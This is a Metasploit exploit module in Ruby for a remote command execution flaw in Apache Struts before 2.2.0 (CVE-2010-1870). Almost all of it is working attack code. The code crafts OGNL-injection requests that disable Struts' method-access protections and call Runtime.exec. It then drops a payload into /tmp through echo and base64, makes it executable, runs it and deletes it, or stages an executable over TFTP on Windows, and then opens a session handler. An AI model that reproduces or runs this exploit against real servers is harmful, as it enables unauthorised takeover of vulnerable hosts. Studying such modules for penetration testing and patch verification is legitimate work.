Apache Struts < 2.2.0 - Remote Command Execution (Metasploit)
## # $Id: struts_code_exec.rb 13586 2011-08-19 05:59:32Z bannedit $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStagerTFTP include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Struts < 2.2.0 Remote Command Execution', 'Description' => %q{ This module exploits a remote command execution vulnerability in Apache Struts versions < 2.2.0. This issue is caused by a failure to properly handle unicode characters in OGNL extensive expressions passed to the web server. By sending a specially crafted request to the Struts application it is possible to bypass the "#" restriction on ParameterInterceptors by using OGNL context variables. Bypassing this restriction allows for the execution of arbitrary Java code. }, 'Author' => [ 'bannedit', # metasploit module 'Meder Kydyraliev', # original public exploit ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 13586 $', 'References' => [ [ 'CVE', '2010-1870'], [ 'OSVDB', '66280'], [ 'URL', 'http://www.exploit-db.com/exploits/14360/' ], ], 'Platform' => [ 'win', 'linux'], 'Privileged' => true, 'Targets' => [ ['Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], ['Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], ], 'DisclosureDate' => 'Jul 13 2010', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', ""]), OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ]) ], self.class) end def execute_command(cmd, opts = {}) uri = Rex::Text::uri_encode(datastore['URI']) var_a = rand_text_alpha_lower(4) var_b = rand_text_alpha_lower(2) var_c = rand_text_alpha_lower(4) var_d = rand_text_alpha_lower(4) var_e = rand_text_alpha_lower(4) uri << "?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&" uri << "(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\"false\")))&" uri << "(#{var_b})((%27\\u0023#{var_d}.exec(\"CMD\")%27)(\\u0023#{var_d}\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'win' uri << "(asdf)(('\\u0023rt.exec(\"CMD\".split(\"@\"))')(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'linux' uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd)) vprint_status("Attemping to execute: #{cmd}") resp = send_request_raw({ 'uri' => uri, 'version' => '1.1', 'method' => 'GET', }, 5) end def windows_stager exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") execute_cmdstager({ :temp => '.'}) @payload_exe = payload_exe print_status("Attempting to execute the payload...") execute_command(@payload_exe) end def linux_stager cmds = "/bin/sh@-c@echo LINE | tee FILE" exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) base64 = Rex::Text.encode_base64(exe) base64.gsub!(/\=/, "\\u003d") file = rand_text_alphanumeric(4+rand(4)) execute_command("/bin/sh@-c@touch /tmp/#{file}.b64") cmds.gsub!(/FILE/, "/tmp/" + file + ".b64") base64.each_line do |line| line.chomp! cmd = cmds cmd.gsub!(/LINE/, line) execute_command(cmds) end execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}") execute_command("/bin/sh@-c@chmod +x /tmp/#{file}") execute_command("/bin/sh@-c@rm /tmp/#{file}.b64") execute_command("/bin/sh@-c@/tmp/#{file}") @payload_exe = "/tmp/" + file end def on_new_session(client) if target['Platform'] == 'linux' print_status("deleting #{@payload_exe} payload file") execute_command("/bin/sh@-c@rm #{@payload_exe}") else print_status("Windows does not allow running executables to be deleted") print_status("delete the #{@payload_exe} file manually after migrating") end end def exploit if not datastore['CMD'].empty? print_status("Executing user supplied command") execute_command(datastore['CMD']) return end case target['Platform'] when 'linux' linux_stager when 'win' windows_stager else raise RuntimeError, 'Unsupported target platform!' end handler end end |